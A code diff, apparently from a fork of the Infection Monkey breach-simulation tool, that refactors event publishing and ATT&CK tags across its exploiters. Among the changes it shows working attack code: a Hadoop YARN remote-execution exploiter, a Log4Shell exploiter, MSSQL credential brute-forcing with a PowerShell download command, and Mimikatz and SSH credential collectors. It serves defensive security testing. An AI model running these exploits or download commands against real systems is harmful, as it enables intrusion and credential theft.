fabu01 #18
|
@ -115,6 +115,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
|||
- "/api/island-configuration" endpoint. #2003
|
||||
- "-t/--tunnel" from agent command line arguments. #2216
|
||||
- "/api/monkey-control/neets-to-stop". #2261
|
||||
- "GET /api/test/monkey" endpoint. #2269
|
||||
- "GET /api/test/log" endpoint. #2269
|
||||
|
||||
### Fixed
|
||||
- A bug in network map page that caused delay of telemetry log loading. #1545
|
||||
|
|
|
@ -0,0 +1,13 @@
|
|||
import json
|
||||
data = {
|
||||
'name' : 'myname',
|
||||
'age' : 100,
|
||||
}
|
||||
# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了.
|
||||
# dumps 将python对象字典转换为json字符串
|
||||
json_str = json.dumps(data, separators=(',', ':'))
|
||||
print(type(json_str), json_str)
|
||||
|
||||
# loads 将json字符串转化为python对象字典
|
||||
pyton_obj = json.loads(json_str)
|
||||
print(type(pyton_obj), pyton_obj)
|
|
@ -15,7 +15,6 @@ SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5
|
|||
GET_AGENTS_ENDPOINT = "api/agents"
|
||||
GET_LOG_ENDPOINT = "api/agent-logs"
|
||||
GET_MACHINES_ENDPOINT = "api/machines"
|
||||
MONKEY_TEST_ENDPOINT = "api/test/monkey"
|
||||
TELEMETRY_TEST_ENDPOINT = "api/test/telemetry"
|
||||
LOGGER = logging.getLogger(__name__)
|
||||
|
||||
|
@ -139,14 +138,6 @@ class MonkeyIslandClient(object):
|
|||
LOGGER.error("Failed to reset island mode")
|
||||
assert False
|
||||
|
||||
def find_monkeys_in_db(self, query):
|
||||
if query is None:
|
||||
raise TypeError
|
||||
response = self.requests.get(
|
||||
MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query)
|
||||
)
|
||||
return MonkeyIslandClient.get_test_query_results(response)
|
||||
|
||||
def find_telems_in_db(self, query: dict):
|
||||
if query is None:
|
||||
raise TypeError
|
||||
|
@ -155,12 +146,6 @@ class MonkeyIslandClient(object):
|
|||
)
|
||||
return MonkeyIslandClient.get_test_query_results(response)
|
||||
|
||||
def get_all_monkeys_from_db(self):
|
||||
response = self.requests.get(
|
||||
MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(None)
|
||||
)
|
||||
return MonkeyIslandClient.get_test_query_results(response)
|
||||
|
||||
def get_agents(self) -> Sequence[Agent]:
|
||||
response = self.requests.get(GET_AGENTS_ENDPOINT)
|
||||
|
||||
|
@ -186,5 +171,5 @@ class MonkeyIslandClient(object):
|
|||
return json.loads(response.content)["results"]
|
||||
|
||||
def is_all_monkeys_dead(self):
|
||||
query = {"dead": False}
|
||||
return len(self.find_monkeys_in_db(query)) == 0
|
||||
agents = self.get_agents()
|
||||
return all((a.stop_time is not None for a in agents))
|
||||
|
|
|
@ -1,3 +1,6 @@
|
|||
from ipaddress import IPv4Address
|
||||
from typing import Collection
|
||||
|
||||
import pytest
|
||||
|
||||
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
|
||||
|
@ -40,18 +43,17 @@ def island_client(island):
|
|||
@pytest.mark.usefixtures("island_client")
|
||||
# noinspection PyUnresolvedReferences
|
||||
class TestOSCompatibility(object):
|
||||
def test_os_compat(self, island_client):
|
||||
def test_os_compat(self, island_client: MonkeyIslandClient):
|
||||
print()
|
||||
all_monkeys = island_client.get_all_monkeys_from_db()
|
||||
ips_that_communicated = []
|
||||
for monkey in all_monkeys:
|
||||
for ip in monkey["ip_addresses"]:
|
||||
if ip in machine_list:
|
||||
ips_that_communicated.append(ip)
|
||||
break
|
||||
ips_that_communicated = self._get_agent_ips(island_client)
|
||||
for ip, os in machine_list.items():
|
||||
if ip not in ips_that_communicated:
|
||||
if IPv4Address(ip) not in ips_that_communicated:
|
||||
print("{} didn't communicate to island".format(os))
|
||||
|
||||
if len(ips_that_communicated) < len(machine_list):
|
||||
assert False
|
||||
|
||||
def _get_agent_ips(self, island_client: MonkeyIslandClient) -> Collection[IPv4Address]:
|
||||
agents = island_client.get_agents()
|
||||
machines = island_client.get_machines()
|
||||
return {i.ip for a in agents for i in machines[a.machine_id].network_interfaces}
|
||||
|
|
|
@ -10,6 +10,11 @@ class InfectionMonkeyModelConfig:
|
|||
extra = Extra.forbid
|
||||
|
||||
|
||||
class MutableInfectionMonkeyModelConfig(InfectionMonkeyModelConfig):
|
||||
allow_mutation = True
|
||||
validate_assignment = True
|
||||
|
||||
|
||||
class InfectionMonkeyBaseModel(BaseModel):
|
||||
class Config(InfectionMonkeyModelConfig):
|
||||
pass
|
||||
|
@ -47,6 +52,5 @@ class InfectionMonkeyBaseModel(BaseModel):
|
|||
|
||||
|
||||
class MutableInfectionMonkeyBaseModel(InfectionMonkeyBaseModel):
|
||||
class Config(InfectionMonkeyModelConfig):
|
||||
allow_mutation = True
|
||||
validate_assignment = True
|
||||
class Config(MutableInfectionMonkeyModelConfig):
|
||||
pass
|
||||
|
|
|
@ -0,0 +1,14 @@
|
|||
from .attack import (
|
||||
T1003_ATTACK_TECHNIQUE_TAG,
|
||||
T1005_ATTACK_TECHNIQUE_TAG,
|
||||
T1021_ATTACK_TECHNIQUE_TAG,
|
||||
T1059_ATTACK_TECHNIQUE_TAG,
|
||||
T1098_ATTACK_TECHNIQUE_TAG,
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
T1110_ATTACK_TECHNIQUE_TAG,
|
||||
T1145_ATTACK_TECHNIQUE_TAG,
|
||||
T1203_ATTACK_TECHNIQUE_TAG,
|
||||
T1210_ATTACK_TECHNIQUE_TAG,
|
||||
T1222_ATTACK_TECHNIQUE_TAG,
|
||||
T1570_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
|
@ -0,0 +1,12 @@
|
|||
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
|
||||
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
|
||||
T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021"
|
||||
T1059_ATTACK_TECHNIQUE_TAG = "attack-t1059"
|
||||
T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098"
|
||||
T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105"
|
||||
T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110"
|
||||
T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145"
|
||||
T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203"
|
||||
T1210_ATTACK_TECHNIQUE_TAG = "attack-t1210"
|
||||
T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222"
|
||||
T1570_ATTACK_TECHNIQUE_TAG = "attack-t1570"
|
|
@ -28,6 +28,17 @@ JSONSerializable = Union[ # type: ignore[misc]
|
|||
]
|
||||
|
||||
|
||||
class NetworkService(Enum):
|
||||
"""
|
||||
An Enum representing network services
|
||||
|
||||
This Enum represents all network services that Infection Monkey supports. The value of each
|
||||
member is the member's name in all lower-case characters.
|
||||
"""
|
||||
|
||||
UNKNOWN = "unknown"
|
||||
|
||||
|
||||
class NetworkPort(ConstrainedInt):
|
||||
"""
|
||||
Define network port as constrainer integer.
|
||||
|
|
|
@ -4,6 +4,7 @@ from typing import Sequence
|
|||
from common.agent_events import CredentialsStolenEvent
|
||||
from common.credentials import Credentials, LMHash, NTHash, Password, Username
|
||||
from common.event_queue import IAgentEventQueue
|
||||
from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1005_ATTACK_TECHNIQUE_TAG
|
||||
from infection_monkey.i_puppet import ICredentialCollector
|
||||
from infection_monkey.model import USERNAME_PREFIX
|
||||
from infection_monkey.utils.ids import get_agent_id
|
||||
|
@ -15,8 +16,6 @@ logger = logging.getLogger(__name__)
|
|||
|
||||
|
||||
MIMIKATZ_CREDENTIAL_COLLECTOR_TAG = "mimikatz-credentials-collector"
|
||||
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
|
||||
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
|
||||
|
||||
MIMIKATZ_EVENT_TAGS = frozenset(
|
||||
(
|
||||
|
@ -28,8 +27,8 @@ MIMIKATZ_EVENT_TAGS = frozenset(
|
|||
|
||||
|
||||
class MimikatzCredentialCollector(ICredentialCollector):
|
||||
def __init__(self, event_queue: IAgentEventQueue):
|
||||
self._event_queue = event_queue
|
||||
def __init__(self, agent_event_queue: IAgentEventQueue):
|
||||
self._agent_event_queue = agent_event_queue
|
||||
|
||||
def collect_credentials(self, options=None) -> Sequence[Credentials]:
|
||||
logger.info("Attempting to collect windows credentials with pypykatz.")
|
||||
|
@ -82,4 +81,4 @@ class MimikatzCredentialCollector(ICredentialCollector):
|
|||
stolen_credentials=collected_credentials,
|
||||
)
|
||||
|
||||
self._event_queue.publish(credentials_stolen_event)
|
||||
self._agent_event_queue.publish(credentials_stolen_event)
|
||||
|
|
|
@ -15,13 +15,15 @@ class SSHCredentialCollector(ICredentialCollector):
|
|||
SSH keys credential collector
|
||||
"""
|
||||
|
||||
def __init__(self, telemetry_messenger: ITelemetryMessenger, event_queue: IAgentEventQueue):
|
||||
def __init__(
|
||||
self, telemetry_messenger: ITelemetryMessenger, agent_event_queue: IAgentEventQueue
|
||||
):
|
||||
self._telemetry_messenger = telemetry_messenger
|
||||
self._event_queue = event_queue
|
||||
self._agent_event_queue = agent_event_queue
|
||||
|
||||
def collect_credentials(self, _options=None) -> Sequence[Credentials]:
|
||||
logger.info("Started scanning for SSH credentials")
|
||||
ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger, self._event_queue)
|
||||
ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger, self._agent_event_queue)
|
||||
logger.info("Finished scanning for SSH credentials")
|
||||
|
||||
return ssh_handler.to_credentials(ssh_info)
|
||||
|
|
|
@ -6,6 +6,11 @@ from typing import Dict, Iterable, Sequence
|
|||
from common.agent_events import CredentialsStolenEvent
|
||||
from common.credentials import Credentials, SSHKeypair, Username
|
||||
from common.event_queue import IAgentEventQueue
|
||||
from common.tags import (
|
||||
T1003_ATTACK_TECHNIQUE_TAG,
|
||||
T1005_ATTACK_TECHNIQUE_TAG,
|
||||
T1145_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
|
||||
from infection_monkey.telemetry.attack.t1145_telem import T1145Telem
|
||||
|
@ -17,9 +22,6 @@ logger = logging.getLogger(__name__)
|
|||
|
||||
DEFAULT_DIRS = ["/.ssh/", "/"]
|
||||
SSH_CREDENTIAL_COLLECTOR_TAG = "ssh-credentials-collector"
|
||||
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
|
||||
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
|
||||
T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145"
|
||||
|
||||
SSH_COLLECTOR_EVENT_TAGS = frozenset(
|
||||
(
|
||||
|
@ -32,7 +34,7 @@ SSH_COLLECTOR_EVENT_TAGS = frozenset(
|
|||
|
||||
|
||||
def get_ssh_info(
|
||||
telemetry_messenger: ITelemetryMessenger, event_queue: IAgentEventQueue
|
||||
telemetry_messenger: ITelemetryMessenger, agent_event_queue: IAgentEventQueue
|
||||
) -> Iterable[Dict]:
|
||||
# TODO: Remove this check when this is turned into a plugin.
|
||||
if is_windows_os():
|
||||
|
@ -42,7 +44,7 @@ def get_ssh_info(
|
|||
return []
|
||||
|
||||
home_dirs = _get_home_dirs()
|
||||
ssh_info = _get_ssh_files(home_dirs, telemetry_messenger, event_queue)
|
||||
ssh_info = _get_ssh_files(home_dirs, telemetry_messenger, agent_event_queue)
|
||||
|
||||
return ssh_info
|
||||
|
||||
|
@ -83,7 +85,7 @@ def _get_ssh_struct(name: str, home_dir: str) -> Dict:
|
|||
def _get_ssh_files(
|
||||
user_info: Iterable[Dict],
|
||||
telemetry_messenger: ITelemetryMessenger,
|
||||
event_queue: IAgentEventQueue,
|
||||
agent_event_queue: IAgentEventQueue,
|
||||
) -> Iterable[Dict]:
|
||||
for info in user_info:
|
||||
path = info["home_dir"]
|
||||
|
@ -125,7 +127,7 @@ def _get_ssh_files(
|
|||
|
||||
collected_credentials = to_credentials([info])
|
||||
_publish_credentials_stolen_event(
|
||||
collected_credentials, event_queue
|
||||
collected_credentials, agent_event_queue
|
||||
)
|
||||
else:
|
||||
continue
|
||||
|
@ -170,7 +172,7 @@ def to_credentials(ssh_info: Iterable[Dict]) -> Sequence[Credentials]:
|
|||
|
||||
|
||||
def _publish_credentials_stolen_event(
|
||||
collected_credentials: Credentials, event_queue: IAgentEventQueue
|
||||
collected_credentials: Sequence[Credentials], agent_event_queue: IAgentEventQueue
|
||||
):
|
||||
credentials_stolen_event = CredentialsStolenEvent(
|
||||
source=get_agent_id(),
|
||||
|
@ -178,4 +180,4 @@ def _publish_credentials_stolen_event(
|
|||
stolen_credentials=collected_credentials,
|
||||
)
|
||||
|
||||
event_queue.publish(credentials_stolen_event)
|
||||
agent_event_queue.publish(credentials_stolen_event)
|
||||
|
|
|
@ -2,13 +2,17 @@ import logging
|
|||
import threading
|
||||
from abc import abstractmethod
|
||||
from datetime import datetime
|
||||
from typing import Dict, Sequence
|
||||
from ipaddress import IPv4Address
|
||||
from time import time
|
||||
from typing import Dict, Sequence, Tuple
|
||||
|
||||
from common.agent_events import ExploitationEvent, PropagationEvent
|
||||
from common.event_queue import IAgentEventQueue
|
||||
from common.utils.exceptions import FailedExploitationError
|
||||
from infection_monkey.i_puppet import ExploiterResultData
|
||||
from infection_monkey.model import VictimHost
|
||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||
from infection_monkey.utils.ids import get_agent_id
|
||||
|
||||
from . import IAgentBinaryRepository
|
||||
|
||||
|
@ -21,6 +25,16 @@ class HostExploiter:
|
|||
def _EXPLOITED_SERVICE(self):
|
||||
pass
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def _EXPLOITER_TAGS(self) -> Tuple[str, ...]:
|
||||
pass
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def _PROPAGATION_TAGS(self) -> Tuple[str, ...]:
|
||||
pass
|
||||
|
||||
def __init__(self):
|
||||
self.exploit_info = {
|
||||
"display_name": self._EXPLOITED_SERVICE,
|
||||
|
@ -33,7 +47,7 @@ class HostExploiter:
|
|||
self.exploit_attempts = []
|
||||
self.host = None
|
||||
self.telemetry_messenger = None
|
||||
self.event_queue = None
|
||||
self.agent_event_queue = None
|
||||
self.options = {}
|
||||
self.exploit_result = {}
|
||||
self.servers = []
|
||||
|
@ -62,7 +76,7 @@ class HostExploiter:
|
|||
servers: Sequence[str],
|
||||
current_depth: int,
|
||||
telemetry_messenger: ITelemetryMessenger,
|
||||
event_queue: IAgentEventQueue,
|
||||
agent_event_queue: IAgentEventQueue,
|
||||
agent_binary_repository: IAgentBinaryRepository,
|
||||
options: Dict,
|
||||
interrupt: threading.Event,
|
||||
|
@ -71,7 +85,7 @@ class HostExploiter:
|
|||
self.servers = servers
|
||||
self.current_depth = current_depth
|
||||
self.telemetry_messenger = telemetry_messenger
|
||||
self.event_queue = event_queue
|
||||
self.agent_event_queue = agent_event_queue
|
||||
self.agent_binary_repository = agent_binary_repository
|
||||
self.options = options
|
||||
self.interrupt = interrupt
|
||||
|
@ -124,3 +138,39 @@ class HostExploiter:
|
|||
"""
|
||||
powershell = True if "powershell" in cmd.lower() else False
|
||||
self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell})
|
||||
|
||||
def _publish_exploitation_event(
|
||||
self,
|
||||
time: float = time(),
|
||||
success: bool = False,
|
||||
tags: Tuple[str, ...] = tuple(),
|
||||
error_message: str = "",
|
||||
):
|
||||
exploitation_event = ExploitationEvent(
|
||||
source=get_agent_id(),
|
||||
target=IPv4Address(self.host.ip_addr),
|
||||
success=success,
|
||||
exploiter_name=self.__class__.__name__,
|
||||
error_message=error_message,
|
||||
timestamp=time,
|
||||
tags=frozenset(tags or self._EXPLOITER_TAGS),
|
||||
)
|
||||
self.agent_event_queue.publish(exploitation_event)
|
||||
|
||||
def _publish_propagation_event(
|
||||
self,
|
||||
time: float = time(),
|
||||
success: bool = False,
|
||||
tags: Tuple[str, ...] = tuple(),
|
||||
error_message: str = "",
|
||||
):
|
||||
propagation_event = PropagationEvent(
|
||||
source=get_agent_id(),
|
||||
target=IPv4Address(self.host.ip_addr),
|
||||
success=success,
|
||||
exploiter_name=self.__class__.__name__,
|
||||
error_message=error_message,
|
||||
timestamp=time,
|
||||
tags=frozenset(tags or self._PROPAGATION_TAGS),
|
||||
)
|
||||
self.agent_event_queue.publish(propagation_event)
|
||||
|
|
|
@ -5,13 +5,20 @@
|
|||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import posixpath
|
||||
import random
|
||||
import string
|
||||
from time import time
|
||||
|
||||
import requests
|
||||
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||
from common.tags import (
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
T1203_ATTACK_TECHNIQUE_TAG,
|
||||
T1210_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
|
@ -23,6 +30,10 @@ from infection_monkey.model import (
|
|||
)
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
HADOOP_EXPLOITER_TAG = "hadoop-exploiter"
|
||||
|
||||
|
||||
class HadoopExploiter(WebRCE):
|
||||
_EXPLOITED_SERVICE = "Hadoop"
|
||||
|
@ -32,39 +43,43 @@ class HadoopExploiter(WebRCE):
|
|||
# Random string's length that's used for creating unique app name
|
||||
RAN_STR_LEN = 6
|
||||
|
||||
_EXPLOITER_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
|
||||
|
||||
_PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG)
|
||||
|
||||
def __init__(self):
|
||||
super(HadoopExploiter, self).__init__()
|
||||
|
||||
def _exploit_host(self):
|
||||
# Try to get exploitable url
|
||||
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
|
||||
self.add_vulnerable_urls(urls, True)
|
||||
if not self.vulnerable_urls:
|
||||
# Try to get potential urls
|
||||
potential_urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
|
||||
if not potential_urls:
|
||||
self.exploit_result.error_message = (
|
||||
f"No potential exploitable urls has been found for {self.host}"
|
||||
)
|
||||
return self.exploit_result
|
||||
|
||||
try:
|
||||
monkey_path_on_victim = get_agent_dst_path(self.host)
|
||||
except KeyError:
|
||||
return self.exploit_result
|
||||
monkey_path_on_victim = get_agent_dst_path(self.host)
|
||||
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||
self.host, str(monkey_path_on_victim), self.agent_binary_repository
|
||||
)
|
||||
|
||||
command = self._build_command(monkey_path_on_victim, http_path)
|
||||
try:
|
||||
command = self._build_command(monkey_path_on_victim, http_path)
|
||||
|
||||
if self.exploit(self.vulnerable_urls[0], command):
|
||||
self.add_executed_cmd(command)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self.exploit_result.propagation_success = True
|
||||
for url in potential_urls:
|
||||
if self.exploit(url, command):
|
||||
self.add_executed_cmd(command)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self.exploit_result.propagation_success = True
|
||||
break
|
||||
finally:
|
||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
||||
return self.exploit_result
|
||||
|
||||
def exploit(self, url, command):
|
||||
def exploit(self, url: str, command: str):
|
||||
if self._is_interrupted():
|
||||
self._set_interrupted()
|
||||
return False
|
||||
|
@ -73,8 +88,8 @@ class HadoopExploiter(WebRCE):
|
|||
resp = requests.post(
|
||||
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
|
||||
)
|
||||
resp = json.loads(resp.content)
|
||||
app_id = resp["application-id"]
|
||||
resp_dict = json.loads(resp.content)
|
||||
app_id = resp_dict["application-id"]
|
||||
|
||||
# Create a random name for our application in YARN
|
||||
# random.SystemRandom can block indefinitely in Linux
|
||||
|
@ -87,10 +102,16 @@ class HadoopExploiter(WebRCE):
|
|||
self._set_interrupted()
|
||||
return False
|
||||
|
||||
timestamp = time()
|
||||
resp = requests.post(
|
||||
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
|
||||
)
|
||||
return resp.status_code == 202
|
||||
|
||||
success = resp.status_code == 202
|
||||
message = "" if success else f"Failed to exploit via {url}"
|
||||
self._publish_exploitation_event(timestamp, success, error_message=message)
|
||||
self._publish_propagation_event(timestamp, success, error_message=message)
|
||||
return success
|
||||
|
||||
def check_if_exploitable(self, url):
|
||||
try:
|
||||
|
|
|
@ -4,6 +4,11 @@ from pathlib import PurePath
|
|||
|
||||
from common import OperatingSystem
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||
from common.tags import (
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
T1110_ATTACK_TECHNIQUE_TAG,
|
||||
T1203_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
from common.utils import Timer
|
||||
from infection_monkey.exploit.log4shell_utils import (
|
||||
LINUX_EXPLOIT_TEMPLATE_PATH,
|
||||
|
@ -26,12 +31,26 @@ from infection_monkey.utils.threading import interruptible_iter
|
|||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter"
|
||||
VICTIM_WAIT_SLEEP_TIME_SEC = 0.050
|
||||
|
||||
|
||||
class Log4ShellExploiter(WebRCE):
|
||||
_EXPLOITED_SERVICE = "Log4j"
|
||||
SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT
|
||||
REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
|
||||
|
||||
_EXPLOITER_TAGS = (
|
||||
LOG4SHELL_EXPLOITER_TAG,
|
||||
T1110_ATTACK_TECHNIQUE_TAG,
|
||||
T1203_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
_PROPAGATION_TAGS = (
|
||||
LOG4SHELL_EXPLOITER_TAG,
|
||||
T1203_ATTACK_TECHNIQUE_TAG,
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
|
||||
def _exploit_host(self) -> ExploiterResultData:
|
||||
self._open_ports = [
|
||||
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
|
||||
|
@ -146,24 +165,37 @@ class Log4ShellExploiter(WebRCE):
|
|||
f"on port {port}"
|
||||
)
|
||||
try:
|
||||
timestamp = time.time()
|
||||
url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
|
||||
except Exception as ex:
|
||||
logger.warning(
|
||||
except Exception as err:
|
||||
error_message = (
|
||||
"An error occurred while attempting to exploit log4shell on a "
|
||||
f"potential {exploit.service_name} service: {ex}"
|
||||
f"potential {exploit.service_name} service: {err}"
|
||||
)
|
||||
|
||||
if self._wait_for_victim():
|
||||
logger.warning(error_message)
|
||||
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
|
||||
# TODO: _wait_for_victim() gets called even if trigger_exploit() raises an
|
||||
# exception. Is that the desired behavior?
|
||||
if self._wait_for_victim(timestamp):
|
||||
self.exploit_info["vulnerable_service"] = {
|
||||
"service_name": exploit.service_name,
|
||||
"port": port,
|
||||
}
|
||||
self.exploit_info["vulnerable_urls"].append(url)
|
||||
|
||||
def _wait_for_victim(self) -> bool:
|
||||
def _wait_for_victim(self, timestamp: float) -> bool:
|
||||
victim_called_back = self._wait_for_victim_to_download_java_bytecode()
|
||||
if victim_called_back:
|
||||
self._wait_for_victim_to_download_agent()
|
||||
self._publish_exploitation_event(timestamp, True)
|
||||
|
||||
victim_downloaded_agent = self._wait_for_victim_to_download_agent()
|
||||
self._publish_propagation_event(success=victim_downloaded_agent)
|
||||
else:
|
||||
error_message = "Timed out while waiting for victim to download the java bytecode"
|
||||
logger.debug(error_message)
|
||||
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
|
||||
return victim_called_back
|
||||
|
||||
|
@ -176,19 +208,20 @@ class Log4ShellExploiter(WebRCE):
|
|||
self.exploit_result.exploitation_success = True
|
||||
return True
|
||||
|
||||
time.sleep(1)
|
||||
time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC)
|
||||
|
||||
logger.debug("Timed out while waiting for victim to download the java bytecode")
|
||||
return False
|
||||
|
||||
def _wait_for_victim_to_download_agent(self):
|
||||
def _wait_for_victim_to_download_agent(self) -> bool:
|
||||
timer = Timer()
|
||||
timer.set(LONG_REQUEST_TIMEOUT)
|
||||
|
||||
while not timer.is_expired():
|
||||
if self._agent_http_server_thread.downloads > 0:
|
||||
self.exploit_result.propagation_success = True
|
||||
break
|
||||
return True
|
||||
|
||||
# TODO: if the http server got an error we're waiting for nothing here
|
||||
time.sleep(1)
|
||||
time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC)
|
||||
|
||||
return False
|
||||
|
|
|
@ -1,12 +1,18 @@
|
|||
import logging
|
||||
from pathlib import PureWindowsPath
|
||||
from time import sleep
|
||||
from typing import Sequence, Tuple
|
||||
from time import sleep, time
|
||||
from typing import Iterable, Optional, Tuple
|
||||
|
||||
import pymssql
|
||||
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||
from common.credentials import get_plaintext
|
||||
from common.tags import (
|
||||
T1059_ATTACK_TECHNIQUE_TAG,
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
T1110_ATTACK_TECHNIQUE_TAG,
|
||||
T1210_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
from common.utils.exceptions import FailedExploitationError
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
||||
|
@ -20,6 +26,8 @@ from infection_monkey.utils.threading import interruptible_iter
|
|||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
MSSQL_EXPLOITER_TAG = "mssql-exploiter"
|
||||
|
||||
|
||||
class MSSQLExploiter(HostExploiter):
|
||||
_EXPLOITED_SERVICE = "MSSQL"
|
||||
|
@ -36,13 +44,20 @@ class MSSQLExploiter(HostExploiter):
|
|||
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
|
||||
)
|
||||
|
||||
_EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
|
||||
_PROPAGATION_TAGS = (
|
||||
MSSQL_EXPLOITER_TAG,
|
||||
T1059_ATTACK_TECHNIQUE_TAG,
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.cursor = None
|
||||
self.agent_http_path = None
|
||||
|
||||
def _exploit_host(self) -> ExploiterResultData:
|
||||
agent_path_on_victim = get_agent_dst_path(self.host)
|
||||
agent_path_on_victim = PureWindowsPath(get_agent_dst_path(self.host))
|
||||
|
||||
# Brute force to get connection
|
||||
creds = generate_identity_secret_pairs(
|
||||
|
@ -52,16 +67,18 @@ class MSSQLExploiter(HostExploiter):
|
|||
try:
|
||||
self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
|
||||
except FailedExploitationError:
|
||||
logger.info(
|
||||
error_message = (
|
||||
f"Failed brute-forcing of MSSQL server on {self.host},"
|
||||
f" no credentials were successful"
|
||||
)
|
||||
logger.error(error_message)
|
||||
return self.exploit_result
|
||||
|
||||
if self._is_interrupted():
|
||||
self._set_interrupted()
|
||||
return self.exploit_result
|
||||
|
||||
timestamp = time()
|
||||
try:
|
||||
self._upload_agent(agent_path_on_victim)
|
||||
self._run_agent(agent_path_on_victim)
|
||||
|
@ -72,15 +89,17 @@ class MSSQLExploiter(HostExploiter):
|
|||
)
|
||||
|
||||
logger.error(error_message)
|
||||
self._publish_propagation_event(timestamp, False, error_message=error_message)
|
||||
self.exploit_result.error_message = error_message
|
||||
|
||||
return self.exploit_result
|
||||
|
||||
self._publish_propagation_event(timestamp, True)
|
||||
self.exploit_result.propagation_success = True
|
||||
return self.exploit_result
|
||||
|
||||
def _brute_force(
|
||||
self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]]
|
||||
self, host: str, port: str, users_passwords_pairs_list: Iterable[Tuple[str, str]]
|
||||
) -> pymssql.Cursor:
|
||||
"""
|
||||
Starts the brute force connection attempts and if needed then init the payload process.
|
||||
|
@ -106,6 +125,7 @@ class MSSQLExploiter(HostExploiter):
|
|||
)
|
||||
|
||||
for user, password in credentials_iterator:
|
||||
timestamp = time()
|
||||
try:
|
||||
# Core steps
|
||||
# Trying to connect
|
||||
|
@ -122,14 +142,14 @@ class MSSQLExploiter(HostExploiter):
|
|||
)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
|
||||
self.report_login_attempt(True, user, password)
|
||||
self._report_login_attempt(timestamp, True, user, password)
